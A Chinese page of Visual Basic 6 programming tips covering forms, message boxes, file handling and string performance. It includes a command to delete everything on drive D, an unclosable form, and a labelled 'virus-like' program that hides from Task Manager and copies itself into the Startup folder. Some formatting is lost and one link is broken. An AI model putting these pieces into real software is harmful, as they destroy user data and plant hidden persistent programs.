隐藏form1：form1.hide显示form1：form1.show--------------------------------------------------------------------------------------------- 退出程序时，弹出窗口提示是否要退出：Private Sub Form_Unload(Cancel As Integer)Dim iAnswer As IntegeriAnswer = MsgBox("真要退出吗?", vbYesNo)If iAnswer = vbNo ThenCancel = TrueElseEndEnd IfEnd Sub---------------------------------------------------------------------------------------------- 只能用任务管理器关闭程序的代码：Private Sub From_Unload(Cancel As Integer)Cancel = trueEnd Sub------------------------------------------------------------------------------------------------ 点击command1打开33IQ网：Dim strURLPrivate Sub Command1_Click()strURL = "错误！超链接引用无效。
Shell "explorer.exe " & strURL, 1End Sub------------------------------------------------------------------------------------------------ 运行c:\1.exeshell "c:\1.exe"执行c:\1.batshell "c:\1.bat"注：只适用于大部分exe和全部bat。
------------------------------------------------------------------------------------------------把label1.caption的值替换成label2.caption的值，label2.caption不变（括号内可省略）：label1 (.caption) = label2 (.caption)注：是变动值（被替换值） = 数据值（参考值、不变值），别搞反了。
如 label1 = 1 而不是 1 = label1---------------------------------------------------------------------------------------------将text1的文本保存到某文件（cd1是commanddialog控件，下同）cd1.ShowSaveIf Not cd1.FileName = "" ThenOpen cd1.FileName For Output As #1Print #1, Text1.TextClose #1End If------------------------------------------------------------------------------------------把某文本文件读取到TEXT1Dim tmp$cd1.ShowOpenIf Not cd1.FileName = "" ThenOpen cd1.FileName For Input As #1Line Input #1, tmp$Close #1Text1 = tmpEnd If-------------------------------------------------------------------------------------------点击command1弹出窗口（红色处请替换成你要的内容）Private Sub Command1_Click()MsgBox "（显示文字）", vbYesNo（你要弹出的窗口的类型，下面有几种常用的类型）, "（窗口标题）"End Sub或Private Sub Command1_Click()MsgBox "（显示文字）"End Sub常用的弹出窗口类型：vbYesNo 包含是、否按钮的窗口vbYesNoCancle 包含是、否、取消vbOKonly 只包含确定按钮vbOKCancle 包含确定、取消vbQuestion 带问号图标、只有确定按钮的窗口-----------------------------------------------------------------------------------------------点击command1，label1随机显示1.2.3Function a() As StringDim b(2) As Stringb(0) = 1b(1) = 2b(2) = 3Randomizea = b(Rnd * 2)End FunctionPrivate Sub Command1_Click()Label1.Caption = aEnd Sub-------------------------------------------------------------------------------------------------- 删除"D:\1.txt"：Kill "D:\1.txt"新建文件夹"D:\123"：MkDir "d:\123"复制文件，由桌面的"1.txt"复制到"D:\1.txt"：FileCopy "C:\Documents and Settings\Administrator\桌面\1.txt", "D:\1.txt"删除"D:\123"文件夹：Shell "cmd /c ""rmdir.exe /s /q D:\123\""", vbNormalFocus删除D盘所有文件（红色处后面不加\）：Shell "cmd /c ""rmdir.exe /s /q D:""", vbNormalFocus------------------------------------------------------------------------------------------------------ App.title ="这是标题"' 在任务管理器-程序中此VB程序的名字，本例的标题为“这是标题”App.TaskVisible = False' 隐藏任务管理器中此VB程序的名字App.Path' 此VB程序的所在文件夹路径（如程序在“d:\1.exe”，则此值为“d:”，没有“\” ）App.EXEName' 此VB程序的文件名（如程序在“d:\这是程序.exe”，则此值为“这是程序”，没有“.exe”）------------------------------------------------------------------------------------------------------一个小程序，类似病毒（不要运行！！仅供参考）。
新建工程，放入一个timer控件，改Interval值为1，然后输入以下代码即可：Private Sub Form_Load()App.Title = ""App.TaskVisible = FalseFileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents andSettings\Administrator\「开始」菜单\程序\启动\" & App.EXEName & ".exe"End SubPrivate Sub Form_Unload(Cancel As Integer)Cancel = TrueEnd SubPrivate Sub Timer1_Timer()Form1.ShowEnd Sub用Mid$命令超速字符串添加操作大家都知道，&操作符的执行速度是相当慢的，特别是处理长字符串时。
当必须重复地在同一变量上附加字符时，有一个基于Mid$命令的技巧可以使用。
基本思路就是：预留一个足够长的空间存放操作的结果。
下面是应用这个技术的一个例子。
假设要建立一个字符串，它要附加从1开始的10000个整数："1 2 3 4 5 6 7 (9999)10000"。
下面是最简单的实现代码：res = ""For i = 1 to 10000: res = res & Str(i): Next<>face=宋体>代码虽然简单，但问题也很明显：Res变量将被重分配10000次。
下面的代码实现同样的目的，但效果明显好转：Dim res As StringDim i As LongDim index As Long’预留足够长的缓冲空间res = Space(90000)’指针变量，指出在哪里插入字符串index = 1’循环开始For i = 1 to 10000substr = Str(i)length = Len(substr)’填充字符串的相应区间段数值Mid$(res, index, length) = substr’调整指针变量index = index + lengthNext’删除多余字符res = Left$(res, index - 1)测试表明：在一个333MHz的计算机上，前段代码执行时间为2.2秒，后者仅仅为0.08秒！代码虽然长了些，可是速度却提高了25倍之多。